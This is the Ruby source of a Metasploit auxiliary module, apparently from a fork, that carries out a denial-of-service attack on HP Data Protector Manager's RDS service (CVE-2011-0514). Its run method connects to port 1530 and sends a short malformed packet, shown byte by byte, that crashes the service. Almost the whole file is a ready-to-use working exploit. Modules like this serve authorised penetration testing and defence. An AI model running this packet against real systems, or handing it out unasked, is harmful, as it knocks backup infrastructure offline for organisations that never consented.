Files
metasploit-gs/modules/auxiliary/dos/hp/data_protector_rds.rb
T

55 lines
1.4 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(
update_info(
info,
'Name' => 'HP Data Protector Manager RDS DOS',
'Description' => %q{
This module causes a remote DOS on HP Data Protector's RDS service. By sending
a malformed packet to port 1530, _rm32.dll causes RDS to crash due to an enormous
size for malloc().
},
'Author' => [
'Roi Mallo <rmallof[at]gmail.com>', # initial discovery, poc
'sinn3r', # msf
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2011-0514' ],
[ 'OSVDB', '70617' ],
[ 'EDB', '15940' ],
],
'DisclosureDate' => '2011-01-08',
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN],
'SideEffects' => [],
'Reliability' => []
}
)
)
register_options([
Opt::RPORT(1530),
])
end
def run
buf = "\x23\x8c\x29\xb6" # Header
buf << "\x64\x00\x00\x00" # Packet size
buf << "\x41" * 4 # Data
connect
print_status('Sending malformed packet...')
sock.put(buf)
disconnect
end
end